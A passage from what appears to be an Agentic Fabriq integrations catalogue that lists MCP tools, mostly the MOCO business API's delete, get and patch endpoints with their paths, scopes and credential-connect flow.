/projects/{project_id}/workspaces/{workspace_id}/feature-flags/{flag_id} PUT /api/v1/mixpanel/api/app/projects/{project_id}/workspaces/{workspace_id}/feature-flags/{flag_id}. Scopes: api. mixpanel_put_projects_by_projectid_warehouse_sources_imports_by_importid_manual_sync (write) — Run an import (App API) via PUT /projects/{projectId}/warehouse-sources/imports/{importId}/manual-sync PUT /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/{importId}/manual-sync. Scopes: api. mixpanel_put_workspaces_by_workspace_id_experiments_by_experiment_id_force_conclude (write) — Force conclude experiment (App API) via PUT /workspaces/{workspace_id}/experiments/{experiment_id}/force_conclude PUT /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}/force_conclude. Scopes: api. mixpanel_put_workspaces_by_workspace_id_experiments_by_experiment_id_launch (write) — Launch experiment (App API) via PUT /workspaces/{workspace_id}/experiments/{experiment_id}/launch PUT /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}/launch. Scopes: api. ================================================================================ ## MOCO URL: https://www.agenticfabriq.com/integrations/moco Section: Integrated Tools MOCO — 323 MCP tools Provider key: moco. Scopes: none. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. moco_delete_account_catalog_services_by_catalog_service_id_items_by_id (write, destructive) — Delete account catalog service item via DELETE /account/catalog_services/{catalog_service_id}/items/{id} DELETE /api/v1/moco/account/catalog_services/{catalog_service_id}/items/{id}. Scopes: none. moco_delete_account_catalog_services_by_id (write, destructive) — Delete account catalog service via DELETE /account/catalog_services/{id} DELETE /api/v1/moco/account/catalog_services/{id}. Scopes: none. moco_delete_account_custom_properties_by_id (write, destructive) — Delete account custom property via DELETE /account/custom_properties/{id} DELETE /api/v1/moco/account/custom_properties/{id}. Scopes: none. moco_delete_account_expense_templates_by_id (write, destructive) — Delete account expense template via DELETE /account/expense_templates/{id} DELETE /api/v1/moco/account/expense_templates/{id}. Scopes: none. moco_delete_account_task_templates_by_id (write, destructive) — Delete account task template via DELETE /account/task_templates/{id} DELETE /api/v1/moco/account/task_templates/{id}. Scopes: none. moco_delete_account_web_hooks_by_id (write, destructive) — Delete account web hook via DELETE /account/web_hooks/{id} DELETE /api/v1/moco/account/web_hooks/{id}. Scopes: none. moco_delete_activities_by_id (write, destructive) — Delete activity via DELETE /activities/{id} DELETE /api/v1/moco/activities/{id}. Scopes: none. moco_delete_approvals_by_id (write, destructive) — Delete approval via DELETE /approvals/{id} DELETE /api/v1/moco/approvals/{id}. Scopes: none. moco_delete_comments_by_id (write, destructive) — Delete comment via DELETE /comments/{id} DELETE /api/v1/moco/comments/{id}. Scopes: none. moco_delete_companies_by_id (write, destructive) — Delete company via DELETE /companies/{id} DELETE /api/v1/moco/companies/{id}. Scopes: none. moco_delete_contacts_people_by_id (write, destructive) — Delete contact via DELETE /contacts/people/{id} DELETE /api/v1/moco/contacts/people/{id}. Scopes: none. moco_delete_deal_categories_by_id (write, destructive) — Delete deal category via DELETE /deal_categories/{id} DELETE /api/v1/moco/deal_categories/{id}. Scopes: none. moco_delete_deals_by_id (write, destructive) — Delete deal via DELETE /deals/{id} DELETE /api/v1/moco/deals/{id}. Scopes: none. moco_delete_invoice_reminders_by_id (write, destructive) — Delete invoice reminder via DELETE /invoice_reminders/{id} DELETE /api/v1/moco/invoice_reminders/{id}. Scopes: none. moco_delete_invoices_by_id (write, destructive) — Delete invoice via DELETE /invoices/{id} DELETE /api/v1/moco/invoices/{id}. Scopes: none. moco_delete_invoices_by_invoice_id_attachments_by_id (write, destructive) — Delete invoice attachment via DELETE /invoices/{invoice_id}/attachments/{id} DELETE /api/v1/moco/invoices/{invoice_id}/attachments/{id}. Scopes: none. moco_delete_invoices_payments_by_id (write, destructive) — Delete invoice payment via DELETE /invoices/payments/{id} DELETE /api/v1/moco/invoices/payments/{id}. Scopes: none. moco_delete_offer_confirmations_by_id (write, destructive) — Delete offer confirmation via DELETE /offer_confirmations/{id} DELETE /api/v1/moco/offer_confirmations/{id}. Scopes: none. moco_delete_offers_by_id (write, destructive) — Delete offer via DELETE /offers/{id} DELETE /api/v1/moco/offers/{id}. Scopes: none. moco_delete_offers_by_offer_id_attachments_by_id (write, destructive) — Delete offer attachment via DELETE /offers/{offer_id}/attachments/{id} DELETE /api/v1/moco/offers/{offer_id}/attachments/{id}. Scopes: none. moco_delete_planned_purchases_by_id (write, destructive) — Delete planned purchase via DELETE /planned_purchases/{id} DELETE /api/v1/moco/planned_purchases/{id}. Scopes: none. moco_delete_planning_entries_by_id (write, destructive) — Delete planning entry via DELETE /planning_entries/{id} DELETE /api/v1/moco/planning_entries/{id}. Scopes: none. moco_delete_projects_by_id (write, destructive) — Delete project via DELETE /projects/{id} DELETE /api/v1/moco/projects/{id}. Scopes: none. moco_delete_projects_by_project_id_contracts_by_id (write, destructive) — Delete project contract via DELETE /projects/{project_id}/contracts/{id} DELETE /api/v1/moco/projects/{project_id}/contracts/{id}. Scopes: none. moco_delete_projects_by_project_id_expenses_by_id (write, destructive) — Delete project expense via DELETE /projects/{project_id}/expenses/{id} DELETE /api/v1/moco/projects/{project_id}/expenses/{id}. Scopes: none. moco_delete_projects_by_project_id_payment_schedules_by_id (write, destructive) — Delete project payment schedule via DELETE /projects/{project_id}/payment_schedules/{id} DELETE /api/v1/moco/projects/{project_id}/payment_schedules/{id}. Scopes: none. moco_delete_projects_by_project_id_recurring_expenses_by_id (write, destructive) — Delete project recurring expense via DELETE /projects/{project_id}/recurring_expenses/{id} DELETE /api/v1/moco/projects/{project_id}/recurring_expenses/{id}. Scopes: none. moco_delete_projects_by_project_id_tasks_by_id (write, destructive) — Delete project task via DELETE /projects/{project_id}/tasks/{id} DELETE /api/v1/moco/projects/{project_id}/tasks/{id}. Scopes: none. moco_delete_projects_by_project_id_tasks_destroy_all (write, destructive) — Delete all project tasks via DELETE /projects/{project_id}/tasks/destroy_all DELETE /api/v1/moco/projects/{project_id}/tasks/destroy_all. Scopes: none. moco_delete_purchases_budgets_by_id (write, destructive) — Delete a purchase budget via DELETE /purchases/budgets/{id} DELETE /api/v1/moco/purchases/budgets/{id}. Scopes: none. moco_delete_purchases_by_id (write, destructive) — Delete purchase via DELETE /purchases/{id} DELETE /api/v1/moco/purchases/{id}. Scopes: none. moco_delete_purchases_drafts_by_id (write, destructive) — Delete purchase draft via DELETE /purchases/drafts/{id} DELETE /api/v1/moco/purchases/drafts/{id}. Scopes: none. moco_delete_purchases_payments_by_id (write, destructive) — Delete purchase payment via DELETE /purchases/payments/{id} DELETE /api/v1/moco/purchases/payments/{id}. Scopes: none. moco_delete_receipts_by_id (write, destructive) — Delete receipt via DELETE /receipts/{id} DELETE /api/v1/moco/receipts/{id}. Scopes: none. moco_delete_revenue_categories_by_id (write, destructive) — Delete revenue category via DELETE /revenue_categories/{id} DELETE /api/v1/moco/revenue_categories/{id}. Scopes: none. moco_delete_schedules_by_id (write, destructive) — Delete schedule via DELETE /schedules/{id} DELETE /api/v1/moco/schedules/{id}. Scopes: none. moco_delete_taggings_by_taggable_type_by_taggable_id (write, destructive) — Remove taggings from resource via DELETE /taggings/{taggable_type}/{taggable_id} DELETE /api/v1/moco/taggings/{taggable_type}/{taggable_id}. Scopes: none. moco_delete_tags_by_id (write, destructive) — Delete tag via DELETE /tags/{id} DELETE /api/v1/moco/tags/{id}. Scopes: none. moco_delete_units_by_id (write, destructive) — Delete unit via DELETE /units/{id} DELETE /api/v1/moco/units/{id}. Scopes: none. moco_delete_users_absence_requests_by_id (write, destructive) — Delete user absence request via DELETE /users/absence_requests/{id} DELETE /api/v1/moco/users/absence_requests/{id}. Scopes: none. moco_delete_users_by_id (write, destructive) — Delete user via DELETE /users/{id} DELETE /api/v1/moco/users/{id}. Scopes: none. moco_delete_users_employments_by_id (write, destructive) — Delete user employment via DELETE /users/employments/{id} DELETE /api/v1/moco/users/employments/{id}. Scopes: none. moco_delete_users_holidays_by_id (write, destructive) — Delete user holiday via DELETE /users/holidays/{id} DELETE /api/v1/moco/users/holidays/{id}. Scopes: none. moco_delete_users_presences_by_id (write, destructive) — Delete user presence via DELETE /users/presences/{id} DELETE /api/v1/moco/users/presences/{id}. Scopes: none. moco_delete_users_work_time_adjustments_by_id (write, destructive) — Delete user work time adjustment via DELETE /users/work_time_adjustments/{id} DELETE /api/v1/moco/users/work_time_adjustments/{id}. Scopes: none. moco_get_account_catalog_services (read) — List account catalog services via GET /account/catalog_services GET /api/v1/moco/account/catalog_services. Scopes: none. moco_get_account_catalog_services_by_catalog_service_id_items_by_id (read) — Get account catalog service item via GET /account/catalog_services/{catalog_service_id}/items/{id} GET /api/v1/moco/account/catalog_services/{catalog_service_id}/items/{id}. Scopes: none. moco_get_account_catalog_services_by_id (read) — Get account catalog service via GET /account/catalog_services/{id} GET /api/v1/moco/account/catalog_services/{id}. Scopes: none. moco_get_account_custom_properties (read) — List account custom properties via GET /account/custom_properties GET /api/v1/moco/account/custom_properties. Scopes: none. moco_get_account_custom_properties_by_id (read) — Get account custom property via GET /account/custom_properties/{id} GET /api/v1/moco/account/custom_properties/{id}. Scopes: none. moco_get_account_expense_templates (read) — List account expense templates via GET /account/expense_templates GET /api/v1/moco/account/expense_templates. Scopes: none. moco_get_account_expense_templates_by_id (read) — Get account expense template via GET /account/expense_templates/{id} GET /api/v1/moco/account/expense_templates/{id}. Scopes: none. moco_get_account_fixed_costs (read) — List account fixed costs via GET /account/fixed_costs GET /api/v1/moco/account/fixed_costs. Scopes: none. moco_get_account_hourly_rates (read) — List account hourly rates via GET /account/hourly_rates GET /api/v1/moco/account/hourly_rates. Scopes: none. moco_get_account_internal_hourly_rates (read) — Get account internal hourly rates via GET /account/internal_hourly_rates GET /api/v1/moco/account/internal_hourly_rates. Scopes: none. moco_get_account_task_templates (read) — List account task templates via GET /account/task_templates GET /api/v1/moco/account/task_templates. Scopes: none. moco_get_account_task_templates_by_id (read) — Get account task template via GET /account/task_templates/{id} GET /api/v1/moco/account/task_templates/{id}. Scopes: none. moco_get_account_web_hooks (read) — List account web hooks via GET /account/web_hooks GET /api/v1/moco/account/web_hooks. Scopes: none. moco_get_account_web_hooks_by_id (read) — Get account web hook via GET /account/web_hooks/{id} GET /api/v1/moco/account/web_hooks/{id}. Scopes: none. moco_get_activities (read) — List activities via GET /activities GET /api/v1/moco/activities. Scopes: none. moco_get_activities_by_id (read) — Get activity via GET /activities/{id} GET /api/v1/moco/activities/{id}. Scopes: none. moco_get_approvals (read) — List approvals via GET /approvals GET /api/v1/moco/approvals. Scopes: none. moco_get_approvals_by_id (read) — Get approval via GET /approvals/{id} GET /api/v1/moco/approvals/{id}. Scopes: none. moco_get_comments (read) — List comments via GET /comments GET /api/v1/moco/comments. Scopes: none. moco_get_comments_by_id (read) — Get comment via GET /comments/{id} GET /api/v1/moco/comments/{id}. Scopes: none. moco_get_companies (read) — List companies via GET /companies GET /api/v1/moco/companies. Scopes: none. moco_get_companies_by_id (read) — Get company via GET /companies/{id} GET /api/v1/moco/companies/{id}. Scopes: none. moco_get_contacts_people (read) — List contacts via GET /contacts/people GET /api/v1/moco/contacts/people. Scopes: none. moco_get_contacts_people_by_id (read) — Get contact via GET /contacts/people/{id} GET /api/v1/moco/contacts/people/{id}. Scopes: none. moco_get_deal_categories (read) — List deal categories via GET /deal_categories GET /api/v1/moco/deal_categories. Scopes: none. moco_get_deal_categories_by_id (read) — Get deal category via GET /deal_categories/{id} GET /api/v1/moco/deal_categories/{id}. Scopes: none. moco_get_deals (read) — List deals via GET /deals GET /api/v1/moco/deals. Scopes: none. moco_get_deals_by_id (read) — Get deal via GET /deals/{id} GET /api/v1/moco/deals/{id}. Scopes: none. moco_get_invoice_reminders (read) — List invoice reminders via GET /invoice_reminders GET /api/v1/moco/invoice_reminders. Scopes: none. moco_get_invoice_reminders_by_id (read) — Get invoice reminder via GET /invoice_reminders/{id} GET /api/v1/moco/invoice_reminders/{id}. Scopes: none. moco_get_invoices (read) — List invoices via GET /invoices GET /api/v1/moco/invoices. Scopes: none. moco_get_invoices_bookkeeping_exports (read) — List invoice bookkeeping exports via GET /invoices/bookkeeping_exports GET /api/v1/moco/invoices/bookkeeping_exports. Scopes: none. moco_get_invoices_bookkeeping_exports_by_id (read) — Get invoice bookkeeping export via GET /invoices/bookkeeping_exports/{id} GET /api/v1/moco/invoices/bookkeeping_exports/{id}. Scopes: none. moco_get_invoices_by_id (read) — Get invoice via GET /invoices/{id} GET /api/v1/moco/invoices/{id}. Scopes: none. moco_get_invoices_by_id_expenses (read) — List invoice expenses via GET /invoices/{id}/expenses GET /api/v1/moco/invoices/{id}/expenses. Scopes: none. moco_get_invoices_by_id_timesheet (read) — Get invoice timesheet entries via GET /invoices/{id}/timesheet GET /api/v1/moco/invoices/{id}/timesheet. Scopes: none. moco_get_invoices_by_invoice_id_attachments (read) — List invoice attachments via GET /invoices/{invoice_id}/attachments GET /api/v1/moco/invoices/{invoice_id}/attachments. Scopes: none. moco_get_invoices_locked (read) — List locked invoices via GET /invoices/locked GET /api/v1/moco/invoices/locked. Scopes: none. moco_get_invoices_payments (read) — List invoice payments via GET /invoices/payments GET /api/v1/moco/invoices/payments. Scopes: none. moco_get_invoices_payments_by_id (read) — Get invoice payment via GET /invoices/payments/{id} GET /api/v1/moco/invoices/payments/{id}. Scopes: none. moco_get_letter_papers (read) — List letter papers via GET /letter_papers GET /api/v1/moco/letter_papers. Scopes: none. moco_get_offer_confirmations (read) — List offer confirmations via GET /offer_confirmations GET /api/v1/moco/offer_confirmations. Scopes: none. moco_get_offer_confirmations_by_id (read) — Get offer confirmation via GET /offer_confirmations/{id} GET /api/v1/moco/offer_confirmations/{id}. Scopes: none. moco_get_offers (read) — List offers via GET /offers GET /api/v1/moco/offers. Scopes: none. moco_get_offers_by_id (read) — Get offer via GET /offers/{id} GET /api/v1/moco/offers/{id}. Scopes: none. moco_get_offers_by_offer_id_attachments (read) — List offer attachments via GET /offers/{offer_id}/attachments GET /api/v1/moco/offers/{offer_id}/attachments. Scopes: none. moco_get_offers_by_offer_id_customer_approval (read) — Get customer approval state via GET /offers/{offer_id}/customer_approval GET /api/v1/moco/offers/{offer_id}/customer_approval. Scopes: none. moco_get_planned_purchases (read) — List planned purchases via GET /planned_purchases GET /api/v1/moco/planned_purchases. Scopes: none. moco_get_planned_purchases_by_id (read) — Get planned purchase via GET /planned_purchases/{id} GET /api/v1/moco/planned_purchases/{id}. Scopes: none. moco_get_planning_entries (read) — List planning entries via GET /planning_entries GET /api/v1/moco/planning_entries. Scopes: none. moco_get_planning_entries_by_id (read) — Get planning entry via GET /planning_entries/{id} GET /api/v1/moco/planning_entries/{id}. Scopes: none. moco_get_profile (read) — Get current profile via GET /profile GET /api/v1/moco/profile. Scopes: none. moco_get_profile_performance_report (read) — Get current user's performance report via GET /profile/performance_report GET /api/v1/moco/profile/performance_report. Scopes: none. moco_get_projects (read) — List projects via GET /projects GET /api/v1/moco/projects. Scopes: none. moco_get_projects_assigned (read) — List projects assigned to current user via GET /projects/assigned GET /api/v1/moco/projects/assigned. Scopes: none. moco_get_projects_by_id (read) — Get project via GET /projects/{id} GET /api/v1/moco/projects/{id}. Scopes: none. moco_get_projects_by_id_report (read) — Get project report via GET /projects/{id}/report GET /api/v1/moco/projects/{id}/report. Scopes: none. moco_get_projects_by_project_id_contracts (read) — List project contracts via GET /projects/{project_id}/contracts GET /api/v1/moco/projects/{project_id}/contracts. Scopes: none. moco_get_projects_by_project_id_contracts_by_id (read) — Get project contract via GET /projects/{project_id}/contracts/{id} GET /api/v1/moco/projects/{project_id}/contracts/{id}. Scopes: none. moco_get_projects_by_project_id_expenses (read) — List project expenses via GET /projects/{project_id}/expenses GET /api/v1/moco/projects/{project_id}/expenses. Scopes: none. moco_get_projects_by_project_id_expenses_by_id (read) — Get project expense via GET /projects/{project_id}/expenses/{id} GET /api/v1/moco/projects/{project_id}/expenses/{id}. Scopes: none. moco_get_projects_by_project_id_payment_schedules (read) — List project payment schedules via GET /projects/{project_id}/payment_schedules GET /api/v1/moco/projects/{project_id}/payment_schedules. Scopes: none. moco_get_projects_by_project_id_payment_schedules_by_id (read) — Get project payment schedule via GET /projects/{project_id}/payment_schedules/{id} GET /api/v1/moco/projects/{project_id}/payment_schedules/{id}. Scopes: none. moco_get_projects_by_project_id_recurring_expenses (read) — List project recurring expenses via GET /projects/{project_id}/recurring_expenses GET /api/v1/moco/projects/{project_id}/recurring_expenses. Scopes: none. moco_get_projects_by_project_id_recurring_expenses_by_id (read) — Get project recurring expense via GET /projects/{project_id}/recurring_expenses/{id} GET /api/v1/moco/projects/{project_id}/recurring_expenses/{id}. Scopes: none. moco_get_projects_by_project_id_tasks (read) — List project tasks via GET /projects/{project_id}/tasks GET /api/v1/moco/projects/{project_id}/tasks. Scopes: none. moco_get_projects_by_project_id_tasks_by_id (read) — Get project task via GET /projects/{project_id}/tasks/{id} GET /api/v1/moco/projects/{project_id}/tasks/{id}. Scopes: none. moco_get_projects_expenses (read) — List expenses across projects via GET /projects/expenses GET /api/v1/moco/projects/expenses. Scopes: none. moco_get_projects_groups (read) — List project groups via GET /projects/groups GET /api/v1/moco/projects/groups. Scopes: none. moco_get_projects_groups_by_id (read) — Get project group via GET /projects/groups/{id} GET /api/v1/moco/projects/groups/{id}. Scopes: none. moco_get_projects_payment_schedules (read) — List project payment schedules (all projects) via GET /projects/payment_schedules GET /api/v1/moco/projects/payment_schedules. Scopes: none. moco_get_purchases (read) — List purchases via GET /purchases GET /api/v1/moco/purchases. Scopes: none. moco_get_purchases_bookkeeping_exports (read) — List purchase bookkeeping exports via GET /purchases/bookkeeping_exports GET /api/v1/moco/purchases/bookkeeping_exports. Scopes: none. moco_get_purchases_bookkeeping_exports_by_id (read) — Get purchase bookkeeping export via GET /purchases/bookkeeping_exports/{id} GET /api/v1/moco/purchases/bookkeeping_exports/{id}. Scopes: none. moco_get_purchases_budgets (read) — List purchase budgets via GET /purchases/budgets GET /api/v1/moco/purchases/budgets. Scopes: none. moco_get_purchases_by_id (read) — Get purchase via GET /purchases/{id} GET /api/v1/moco/purchases/{id}. Scopes: none. moco_get_purchases_categories (read) — List purchase categories via GET /purchases/categories GET /api/v1/moco/purchases/categories. Scopes: none. moco_get_purchases_categories_by_id (read) — Get purchase category via GET /purchases/categories/{id} GET /api/v1/moco/purchases/categories/{id}. Scopes: none. moco_get_purchases_drafts (read) — List purchase drafts via GET /purchases/drafts GET /api/v1/moco/purchases/drafts. Scopes: none. moco_get_purchases_drafts_by_id (read) — Get purchase draft via GET /purchases/drafts/{id} GET /api/v1/moco/purchases/drafts/{id}. Scopes: none. moco_get_purchases_drafts_by_id_pdf (read) — Download purchase draft PDF via GET /purchases/drafts/{id}.pdf GET /api/v1/moco/purchases/drafts/{id}.pdf. Scopes: none. moco_get_purchases_payments (read) — List purchase payments via GET /purchases/payments GET /api/v1/moco/purchases/payments. Scopes: none. moco_get_purchases_payments_by_id (read) — Get purchase payment via GET /purchases/payments/{id} GET /api/v1/moco/purchases/payments/{id}. Scopes: none. moco_get_receipts (read) — List receipts via GET /receipts GET /api/v1/moco/receipts. Scopes: none. moco_get_receipts_by_id (read) — Get receipt via GET /receipts/{id} GET /api/v1/moco/receipts/{id}. Scopes: none. moco_get_recurring_expenses (read) — List recurring expenses via GET /recurring_expenses GET /api/v1/moco/recurring_expenses. Scopes: none. moco_get_report_absences (read) — Get absences report via GET /report/absences GET /api/v1/moco/report/absences. Scopes: none. moco_get_report_cashflow (read) — Get cashflow report via GET /report/cashflow GET /api/v1/moco/report/cashflow. Scopes: none. moco_get_report_finance (read) — Get finance report via GET /report/finance GET /api/v1/moco/report/finance. Scopes: none. moco_get_report_planned_vs_tracked (read) — Get planned vs tracked report via GET /report/planned_vs_tracked GET /api/v1/moco/report/planned_vs_tracked. Scopes: none. moco_get_report_utilization (read) — Get utilization report via GET /report/utilization GET /api/v1/moco/report/utilization. Scopes: none. moco_get_revenue_categories (read) — List revenue categories via GET /revenue_categories GET /api/v1/moco/revenue_categories. Scopes: none. moco_get_revenue_categories_by_id (read) — Get revenue category via GET /revenue_categories/{id} GET /api/v1/moco/revenue_categories/{id}. Scopes: none. moco_get_schedules (read) — List schedules via GET /schedules GET /api/v1/moco/schedules. Scopes: none. moco_get_schedules_by_id (read) — Get schedule via GET /schedules/{id} GET /api/v1/moco/schedules/{id}. Scopes: none. moco_get_session (read) — Verify API key via GET /session GET /api/v1/moco/session. Scopes: none. moco_get_taggings_by_taggable_type_by_taggable_id (read) — List taggings for resource via GET /taggings/{taggable_type}/{taggable_id} GET /api/v1/moco/taggings/{taggable_type}/{taggable_id}. Scopes: none. moco_get_tags (read) — List tags via GET /tags GET /api/v1/moco/tags. Scopes: none. moco_get_tags_by_id (read) — Get tag via GET /tags/{id} GET /api/v1/moco/tags/{id}. Scopes: none. moco_get_todos (read) — List todos via GET /todos GET /api/v1/moco/todos. Scopes: none. moco_get_todos_by_id (read) — Get todo via GET /todos/{id} GET /api/v1/moco/todos/{id}. Scopes: none. moco_get_units (read) — List units via GET /units GET /api/v1/moco/units. Scopes: none. moco_get_units_by_id (read) — Get unit via GET /units/{id} GET /api/v1/moco/units/{id}. Scopes: none. moco_get_users (read) — List users via GET /users GET /api/v1/moco/users. Scopes: none. moco_get_users_absence_requests (read) — List user absence requests via GET /users/absence_requests GET /api/v1/moco/users/absence_requests. Scopes: none. moco_get_users_absence_requests_by_id (read) — Get user absence request via GET /users/absence_requests/{id} GET /api/v1/moco/users/absence_requests/{id}. Scopes: none. moco_get_users_by_id (read) — Get user via GET /users/{id} GET /api/v1/moco/users/{id}. Scopes: none. moco_get_users_by_id_performance_report (read) — Get user performance report via GET /users/{id}/performance_report GET /api/v1/moco/users/{id}/performance_report. Scopes: none. moco_get_users_employments (read) — List user employments via GET /users/employments GET /api/v1/moco/users/employments. Scopes: none. moco_get_users_employments_by_id (read) — Get user employment via GET /users/employments/{id} GET /api/v1/moco/users/employments/{id}. Scopes: none. moco_get_users_holidays (read) — List user holidays via GET /users/holidays GET /api/v1/moco/users/holidays. Scopes: none. moco_get_users_holidays_by_id (read) — Get user holiday via GET /users/holidays/{id} GET /api/v1/moco/users/holidays/{id}. Scopes: none. moco_get_users_presences (read) — List user presences via GET /users/presences GET /api/v1/moco/users/presences. Scopes: none. moco_get_users_presences_by_id (read) — Get user presence via GET /users/presences/{id} GET /api/v1/moco/users/presences/{id}. Scopes: none. moco_get_users_roles (read) — List user roles via GET /users/roles GET /api/v1/moco/users/roles. Scopes: none. moco_get_users_work_time_adjustments (read) — List user work time adjustments via GET /users/work_time_adjustments GET /api/v1/moco/users/work_time_adjustments. Scopes: none. moco_get_users_work_time_adjustments_by_id (read) — Get user work time adjustment via GET /users/work_time_adjustments/{id} GET /api/v1/moco/users/work_time_adjustments/{id}. Scopes: none. moco_get_vat_code_purchases (read) — List VAT code purchases via GET /vat_code_purchases GET /api/v1/moco/vat_code_purchases. Scopes: none. moco_get_vat_code_purchases_by_id (read) — Get VAT code purchase via GET /vat_code_purchases/{id} GET /api/v1/moco/vat_code_purchases/{id}. Scopes: none. moco_get_vat_code_sales (read) — List VAT code sales via GET /vat_code_sales GET /api/v1/moco/vat_code_sales. Scopes: none. moco_get_vat_code_sales_by_id (read) — Get VAT code sale via GET /vat_code_sales/{id} GET /api/v1/moco/vat_code_sales/{id}. Scopes: none. moco_patch_account_catalog_services_by_catalog_service_id_items_by_id (write) — Update account catalog service item via PATCH /account/catalog_services/{catalog_service_id}/items/{id} PATCH /api/v1/moco/account/catalog_services/{catalog_service_id}/items/{id}. Scopes: none. moco_patch_account_catalog_services_by_id (write) — Update account catalog service via PATCH /account/catalog_services/{id} PATCH /api/v1/moco/account/catalog_services/{id}. Scopes: none. moco_patch_account_custom_properties_by_id (write) — Update account custom property via PATCH /account/custom_properties/{id} PATCH /api/v1/moco/account/custom_properties/{id}. Scopes: none. moco_patch_account_expense_templates_by_id (write) — Update account expense template via PATCH /account/expense_templates/{id} PATCH /api/v1/moco/account/expense_templates/{id}. Scopes: none. moco_patch_account_internal_hourly_rates (write) — Update account internal hourly rates via PATCH /account/internal_hourly_rates PATCH /api/v1/moco/account/internal_hourly_rates. Scopes: none. moco_patch_account_task_templates_by_id (write) — Update account task template via PATCH /account/task_templates/{id} PATCH /api/v1/moco/account/task_templates/{id}. Scopes: none. moco_patch_account_web_hooks_by_id (write) — Update account web hook via PATCH /account/web_hooks/{id} PATCH /api/v1/moco/account/web_hooks/{id}. Scopes: none. moco_patch_activities_by_id (write) — Update activity via PATCH /activities/{id} PATCH /api/v1/moco/activities/{id}. Scopes: none. moco_patch_activities_by_id_billable_seconds (write) — Update activity billable seconds via PATCH /activities/{id}/billable_seconds PATCH /api/v1/moco/activities/{id}/billable_seconds. Scopes: none. moco_patch_activities_by_id_start_timer (write) — Start activity timer via PATCH /activities/{id}/start_timer PATCH /api/v1/moco/activities/{id}/start_timer. Scopes: none. moco_patch_activities_by_id_stop_timer (write) — Stop activity timer via PATCH /activities/{id}/stop_timer PATCH /api/v1/moco/activities/{id}/stop_timer. Scopes: none. moco_patch_comments_by_id (write) — Update comment via PATCH /comments/{id} PATCH /api/v1/moco/comments/{id}. Scopes: none. moco_patch_companies_by_id (write) — Update company via PATCH /companies/{id} PATCH /api/v1/moco/companies/{id}. Scopes: none. moco_patch_contacts_people_by_id (write) — Update contact via PATCH /contacts/people/{id} PATCH /api/v1/moco/contacts/people/{id}. Scopes: none. moco_patch_deal_categories_by_id (write) — Update deal category via PATCH /deal_categories/{id} PATCH /api/v1/moco/deal_categories/{id}. Scopes: none. moco_patch_deals_by_id (write) — Update deal via PATCH /deals/{id} PATCH /api/v1/moco/deals/{id}. Scopes: none. moco_patch_invoices_payments_by_id (write) — Update invoice payment via PATCH /invoices/payments/{id} PATCH /api/v1/moco/invoices/payments/{id}. Scopes: none. moco_patch_offer_confirmations_by_id (write) — Update offer confirmation via PATCH /offer_confirmations/{id} PATCH /api/v1/moco/offer_confirmations/{id}. Scopes: none. moco_patch_offers_by_id (write) — Update offer via PATCH /offers/{id} PATCH /api/v1/moco/offers/{id}. Scopes: none. moco_patch_planned_purchases_by_id (write) — Update planned purchase via PATCH /planned_purchases/{id} PATCH /api/v1/moco/planned_purchases/{id}. Scopes: none. moco_patch_planning_entries_by_id (write) — Update planning entry via PATCH /planning_entries/{id} PATCH /api/v1/moco/planning_entries/{id}. Scopes: none. moco_patch_projects_by_id (write) — Update project via PATCH /projects/{id} PATCH /api/v1/moco/projects/{id}. Scopes: none. moco_patch_projects_by_project_id_contracts_by_id (write) — Update project contract via PATCH /projects/{project_id}/contracts/{id} PATCH /api/v1/moco/projects/{project_id}/contracts/{id}. Scopes: none. moco_patch_projects_by_project_id_expenses_by_id (write) — Update project expense via PATCH /projects/{project_id}/expenses/{id} PATCH /api/v1/moco/projects/{project_id}/expenses/{id}. Scopes: none. moco_patch_projects_by_project_id_payment_schedules_by_id (write) — Update project payment schedule via PATCH /projects/{project_id}/payment_schedules/{id} PATCH /api/v1/moco/projects/{project_id}/payment_schedules/{id}. Scopes: none. moco_patch_projects_by_project_id_recurring_expenses_by_id (write) — Update project recurring expense via PATCH /projects/{project_id}/recurring_expenses/{id} PATCH /api/v1/moco/projects/{project_id}/recurring_expenses/{id}. Scopes: none. moco_patch_projects_by_project_id_tasks_by_id (write) — Update project task via PATCH /projects/{project_id}/tasks/{id} PATCH /api/v1/moco/projects/{project_id}/tasks/{id}. Scopes: none. moco_patch_purchases_budgets_by_id (write) — Update a purchase budget via PATCH /purchases/budgets/{id} PATCH /api/v1/moco/purchases/budgets/{id}. Scopes: none. moco_patch_purchases_by_id (write) — Update purchase via PATCH /purchases/{id} PATCH /api/v1/moco/purchases/{id}. Scopes: none. moco_patch_purchases_by_id_update_status (write) — Update purchase status via PATCH /purchases/{id}/update_status PATCH /api/v1/moco/purchases/{id}/update_status. Scopes: none. moco_patch_purchases_payments_by_id (write) — Update purchase payment via PATCH /purchases/payments/{id} PATCH /api/v1/moco/purchases/payments/{id}. Scopes: none. moco_patch_receipts_by_id (write) — Update receipt via PATCH /receipts/{id} PATCH /api/v1/moco/receipts/{id}. Scopes: none. moco_patch_revenue_categories_by_id (write) — Update revenue category via PATCH /revenue_categories/{id} PATCH /api/v1/moco/revenue_categories/{id}. Scopes: none. moco_patch_schedules_by_id (write) — Update schedule via PATCH /schedules/{id} PATCH /api/v1/moco/schedules/{id}. Scopes: none. moco_patch_taggings_by_taggable_type_by_taggable_id (write) — Add taggings to resource via PATCH /taggings/{taggable_type}/{taggable_id} PATCH /api/v1/moco/taggings/{taggable_type}/{taggable_id}. Scopes: none. moco_patch_tags_by_id (write) — Update tag via PATCH /tags/{id} PATCH /api/v1/moco/tags/{id}. Scopes: none. moco_patch_units_by_id (write) — Update unit via PATCH /units/{id} PATCH /api/v1/moco/units/{id}. Scopes: none. moco_patch_users_by_id (write) — Update user via PATCH /users/{id} PATCH /api/v1/moco/users/{id}. Scopes: none. moco_patch_users_employments_by_id (write) — Update user employment via PATCH /users/employments/{id} PATCH /api/v1/moco/users/employments/{id}. Scopes: none. moco_patch_users_holidays_by_id (write) — Update user holiday via PATCH /users/holidays/{id} PATCH /api/v1/moco/users/holidays/{id}. Scopes: none. moco_patch_users_presences_by_id (write) — Update user presence via PATCH 